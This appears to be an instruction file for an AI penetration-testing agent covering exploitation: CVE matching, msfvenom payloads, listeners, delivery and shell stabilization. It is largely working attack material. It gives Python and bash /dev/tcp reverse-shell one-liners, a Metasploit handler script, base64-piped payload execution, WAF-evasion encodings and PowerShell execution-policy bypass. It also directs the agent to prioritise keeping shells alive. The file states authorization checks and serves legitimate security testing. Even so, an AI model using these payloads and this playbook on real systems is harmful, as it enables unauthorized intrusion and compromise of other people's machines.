Exploitation — Match, Build, Listen, Deliver

Full methodology: references/methodology.md. The chain is deterministic and always in this order: match the finding, build the payload, START THE LISTENER, then deliver.

When to Use

• User asks to exploit a confirmed vulnerability or obtain a shell.
• Recon/web-app findings contain an exploitable service + version.
• A reverse shell needs delivery and stabilization.

When NOT to Use

• No written authorization. Exploiting an unauthorized system is a crime — STOP.
• No vulnerability identified yet — run web-app/recon first.
• Privilege escalation after the shell — that is the privilege-escalation skill's job.

Rationalizations to Reject

• "searchsploit found nothing, no exploit exists." → nuclei -tags cve + GitHub PoC research were not done.
• "The msfvenom payload works everywhere." → OS/arch/payload compatibility is mandatory; verify with file shell.elf.
• "Got a shell, job done." → Stability + pty + evidence still required; the job continues in privilege-escalation.
• "Running the PoC is enough, no source needed." → The report requires a source chain (exploit-db ID / GitHub URL).
• "The banner says Apache 2.4.49, so it's vulnerable." → Banner-only detection is not a version check; verify with a real request + the Step 1.5 decoy tests.

Methodology

Step 0 — Authorization and Finding Inventory

CASE=$(date +%Y%m%d)-<slug>          # e.g. 20260802-e01
mkdir -p work/$CASE/{evidence,scans,findings,report}
# MANDATORY output locations (fixed, do not change):
#   findings.json → work/$CASE/findings/findings.json
#   evidence files → work/$CASE/evidence/
#   scan outputs → work/$CASE/scans/
#   scope.md → work/$CASE/scope.md with:
#     target: <DOMAIN_OR_IP>
#     auth: status: granted | basis: <signed scope / bug bounty / own lab> | evidence_of_auth: <file>
#     date: YYYYMMDD
# When the run ends, also copy findings.json to the run root (benchmark archive).
python3 - <<'PYEOF'
import json, sys
for f in json.load(open('work/$(date +%Y%m%d)-case/findings.json')):
    print(f['id'], f['title'], f.get('references', []))
PYEOF

• Input: recon/web-app findings.json. Output: exploitable services + versions list.
• Follow RULES.md: authorization unclear → STOP and ask.

Step 0.5 — Tool Check and Fallbacks (MANDATORY)

1. Check every tool you plan to use first: command -v <tool> || echo MISSING.
2. Missing tool → use its fallback from the common table below. Fallback also missing → do the same job with python3 stdlib (socket, urllib, http.server).
3. Note the fallback you used in findings/evidence (tool: <fallback>).
4. Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").

A missing tool NEVER stops the skill — warn, use the fallback, continue.

Step 1 — CVE Matching (version → exploit)

searchsploit "Apache 2.4.49"
searchsploit -w "Apache 2.4.49"       # -w: Exploit-DB URLs for the report
nuclei -u http://target -tags cve -severity critical,high -o work/$(date +%Y%m%d)-case/cve-scan.txt

• Version match is mandatory: old exploit + new version = false positive.
• PoC download (GitHub raw / Exploit-DB): record the source — the report needs the source chain.

PoC verification checklist (BEFORE running any downloaded exploit):

1. Version match is mandatory: does the exploit's supported range cover the target version? (no → false positive)
2. After download, before execution: a. Title/README: target version, args, OS/arch b. Source review: destructive flags (--delete, format, rm) → remove or get approval c. file poc.py / head -50 poc.py — obfuscated/evasive code → red-team work, report it d. Record the source chain: Exploit-DB ID / GitHub URL / advisory (report requirement)
3. searchsploit missing → fallbacks: a. nuclei -tags cve (existing command) b. GitHub API: curl "https://api.github.com/search/code?q=<cve-id>+in:file" (token → 30 req/min) c. NVD API: curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-YYYY-XXXXX"
4. CVE scoring: use the NVD CVSS 4.0 vector if present (cite source); otherwise score with your own analysis (CR-05).

Step 1.5 — False Positive Discipline (decoy CVE / banner-only)

Before an exploit candidate becomes a finding, reject decoys with 3 checks (each output → evidence):

1. Static-string analysis: does the match come from a canned banner (Server: Apache/2.4.49 in a footer/HTML comment) rather than a real version response? Diff the version string across 3 requests — identical literal → banner-only.
2. Latency-consistency test: a live code path changes timing or body between benign input and payload. 3 requests with ~constant latency AND identical body → no code path executed → decoy.
3. Conditional-behavior test: two payloads that must diverge (id vs id;sleep 3) return identical output → no command execution.
4. Version-range check: the exploit's supported range must cover the target version (Step 1) — mismatch = false positive, not a candidate.

Decision: decoy → status: "false-positive" + severity Unscored (empty vector + 0.0) + evidence (3-test output + raw response). Never report a banner-only match as exploitable; unverified candidates stay status: "open", Unscored.

Step 2 — Payload Generation (msfvenom)

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f elf -o work/$(date +%Y%m%d)-case/shell.elf
msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o work/$(date +%Y%m%d)-case/shell.php
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o work/$(date +%Y%m%d)-case/shell.exe
file work/$(date +%Y%m%d)-case/shell.elf   # verify arch/format

• Verify LHOST with ip a — a wrong LHOST means the shell never comes back.

msfvenom missing → manual payloads (pick per target OS):

Linux reverse shell (python3):

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Linux reverse shell (bash /dev/tcp):

bash -i >& /dev/tcp/LHOST/LPORT 0>&1

PHP (web-shell context):

Windows: base64-encode the command, run with powershell -e (Step 4.5 pattern)

msfconsole missing → handler: python3/nc listener (Step 3) + curl delivery is enough (no Metasploit module needed).

Step 3 — Start the Listener BEFORE Delivery

command -v nc || echo MISSING
nc -lvnp 4444
# nc missing/broken → python3 socket listener (reliable on AArch64/NetHunter):
python3 -c 'import pty,socket,os; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("0.0.0.0",4444)); s.listen(1); c,_=s.accept(); os.dup2(c.fileno(),0); os.dup2(c.fileno(),1); os.dup2(c.fileno(),2); pty.spawn("/bin/bash")'
# or bash /dev/tcp listener (limited): bash -c 'exec 3<>/dev/tcp/0.0.0.0/4444; cat <&3 & cat >&3'
cat > work/$(date +%Y%m%d)-case/handler.rc <<'EOF'
use exploit/multi/handler
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST <YOUR_IP>
set LPORT 4444
set ExitOnSession false
run -j
EOF
msfconsole -q -r work/$(date +%Y%m%d)-case/handler.rc

• The listener is ALWAYS up before delivery; a late listener loses the callback.
• Python pty listener (python3 -c 'import pty,socket;...') for interactive-shell stability.

Port selection (LPORT):

1. Default: 4444 (lab). Egress-restricted environments: 53 (DNS), 80, 443, 8080 — common egress ports.
2. Before delivery, verify the listener locally: ss -tlnp | grep <port>.
3. Never bind the same port twice (bind error without SO_REUSEADDR).
4. UDP-payload-only environments (rare): msfvenom udp payload + python UDP listener.
5. Rule: the listener log (nc/python output) is evidence that the listener was really up.

Step 4 — Delivery

msfconsole -q -x "use exploit/multi/http/<MODULE>; set RHOSTS target; set LHOST <YOUR_IP>; run"
python3 work/$(date +%Y%m%d)-case/poc.py http://target --lhost <YOUR_IP> --lport 4444
curl -s "http://target/vuln?cmd=id"   # manual trigger — proof command first: id, whoami, uname -a

Step 4.5 — Payload Encoding and Delivery Contexts

Encode the payload for the delivery context (each variant is evidenced):

1. HTTP parameter → URL encode: curl --data-urlencode "host=127.0.0.1;id".
2. Base64 wrap (space/metachar restrictions in shell): echo 'cmd' | base64 → payload: echo <b64> | base64 -d | bash.
3. Hex/octal escapes: $'\x2fbin\x2fbash' (bash), powershell -e <base64> (Windows).
4. Unicode/double encode (WAF present): %2527, %c0%af (link to web-app Step 0.6).
5. NUL/padding in SQLi: -- (comment), '#' (MySQL), /*!*/ (versioned comment).
6. Validate locally before delivery: bash -n / python3 -c "compile(...)" — a syntax error costs a round.

Rule: every encoding variant is a separate evidence file (raw payload + response).

Step 5 — Shell Verification and Stabilization

whoami && id && uname -a && cat /etc/os-release
python3 -c 'import pty; pty.spawn("/bin/bash")'   # on target, for interactive commands

• Save the proof FIRST (whoami, hostname, ip a → evidence file); never close the shell without it.
• Fragile shell → retry with python3 payload, another port, or pty upgrade. Do not give up.

# Stabilization sequence (Linux):
export TERM=xterm-256color                    # arrow keys / clear
# Ctrl+Z → bg → stty raw -echo → fg           # full interactive (when rlwrap is missing)
script -qc /bin/bash /dev/null                # alternative if script(1) exists

# Windows target:
powershell -NoProfile -ExecutionPolicy Bypass -e <base64-cmd>   # -e: encoded command

• Shell-less proof (script-based): write an extraction/callback script, print output to a file, verify via the file instead of a listener — valid for read-only tasks.

Step 6 — Evidence and Normalize

searchsploit "Apache 2.4.49" > work/$(date +%Y%m%d)-case/searchsploit.txt
msfconsole -q -r work/$(date +%Y%m%d)-case/handler.rc -o work/$(date +%Y%m%d)-case/msf.log
python3 skills/exploitation/scripts/normalize_exploitation.py work/$(date +%Y%m%d)-case/searchsploit.txt \
  --target http://target > work/$(date +%Y%m%d)-case/findings.json

• The normalize script parses searchsploit text/JSON output (exploit candidates) and metasploit logs (session/foothold lines).

Step 6.5 — Source-Driven Exploitation (when source code is available)

Source obtained via leak (web-app Step 3.6), repo, or provided code → audit before delivering anything:

1. Map the source: entry points (routes/endpoints), data flow (input → sink), secrets (key/secret/salt).
2. Grep catalog (every hit → evidence with file:line):
   • Secrets: grep -rniE "api_key|password|secret|token|BEGIN (RSA|EC|OPENSSH) PRIVATE KEY" .
   • Debug/backdoor: grep -rniE "TODO|FIXME|HACK|debug|backdoor|master key|admin bypass" .
   • Dangerous sinks: grep -rnE "\b(eval|exec|system|shell_exec|passthru|os\.system|subprocess|pickle\.loads|yaml\.load)\b" .
   • Hardcoded creds: grep -rniE "(user|pass|pwd|credential)\s*[:=]\s*['\"][^'\"]+['\"]" .
3. Vulnerability patterns: a. Crypto misuse: fixed key/IV, ECB (identical plaintext block → identical ciphertext), weak KDF (MD5/saltless), homebrew crypto (XOR/rot) — CWE-327/321/330. b. Auth logic: early-return string compare (timing oracle), deterministic token (HMAC(key, username) → forgeable), constant session value — CWE-208. c. Insecure deserialization: pickle.loads / yaml.load on attacker input — CWE-502. d. Command/query concatenation: shell=True, string-concat SQL — CWE-78/89.
4. Write a minimal, read-only exploit that triggers the flaw (evidence + per-request log) — destructive code is not written (Step 1 checklist).
5. Finding: CWE + source file:line in references. Working secret/exploit = confirmed + scored; unverified = status: "open", Unscored.

Output Schema

CONTRACT (mandatory): findings.json is a BARE JSON ARRAY at the root — never wrap it in an object like {"findings": [...]}. Wrong: {"findings": [{...}]} → validator rejects (exit 1) Right: [{...}, {...}] → validator accepts Each finding is ONE finding object from schemas/findings.schema.json.

Severity rules:

• "Unscored" → vector "" (EMPTY) + baseScore 0.0. Filled vector + Unscored = validator error.
• Scored finding → vector "CVSS:4.0/..." + baseScore + severity band (Low/Medium/High/Critical).
• Unscored when: asset inventory (open port, subdomain, banner), decoy/false-positive, impact not yet determined.

Scoring contract:

1. If the impact is clear at discovery (e.g. verified SQLi → auth bypass): score immediately with CVSS 4.0 (vector + baseScore + severity).
2. If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).
3. The reporting skill scores the remaining Unscored findings at merge; already scored findings are left untouched (highest severity kept).
4. Either way the validator rule holds: Unscored = empty vector + 0.0.

After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

Every finding follows schemas/findings.schema.json (draft-07). Key fields:

{
  "id": "EXPL-001",
  "skill": "exploitation",
  "target": "http://target",
  "title": "Exploit candidate: Apache 2.4.49 - RCE (Traversal)",
  "description": "searchsploit match: exploit/linux/webapps/50383 for Apache 2.4.49.",
  "severity": {"cvss40": {"vector": "", "baseScore": 0.0, "severity": "Unscored"}},
  "evidence": [{"file": "searchsploit.txt", "hash": "<sha256>", "note": "exploit match in searchsploit output"}],
  "remediation": "Patch the affected service to a non-vulnerable version or apply the vendor mitigation.",
  "references": ["CVE-2021-41773"],
  "detected_at": "2026-08-02T10:00:00+00:00",
  "status": "confirmed"
}

• Findings stay Unscored unless the impact is verified at discovery (e.g. confirmed RCE → foothold) — see the scoring contract above.

Pitfalls

• Listener after delivery → shell arrives, no listener, connection lost. Listener FIRST.
• Wrong LHOST → no callback, hours lost. Verify ip a, note NAT/firewall.
• nc -e on a system without it → "invalid option -e". Check nc -h or use the python3 payload.
• Running a PoC without reading it → wrong args, target crash. Read: target version, args, OS.
• Old exploit + new version → false positive. Version match mandatory.
• Meterpreter on AV-protected targets → instant detection. Simple reverse shell first, meterpreter upgrade later.
• Closing the shell without proof → no evidence for the report. Save whoami/hostname output first.
• Skipping the authorization check → illegal access. Scope file + written approval or STOP.
• Banner-only version match reported as exploitable → decoy. Run the Step 1.5 checks before any finding.

Verification

• MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json → exit 0. Without exit 0 the task is NOT complete.
• findings.json validates: python3 skills/reporting/scripts/validate_findings.py work/<case>/findings.json → exit 0.
• Authorization documented; source chain recorded for every exploit used.
• Listener was up before delivery (handler.rc / nc log in evidence).
• Shell proof (whoami, id, hostname) saved as evidence before any further action.
• Decoy/banner-only matches are marked false-positive + Unscored + 3-test evidence (Step 1.5).
• Source-driven finding (Step 6.5) cites CWE + source file:line; unverified candidates are open, not confirmed.
• Output includes next steps for downstream skills (privilege-escalation, post-exploitation).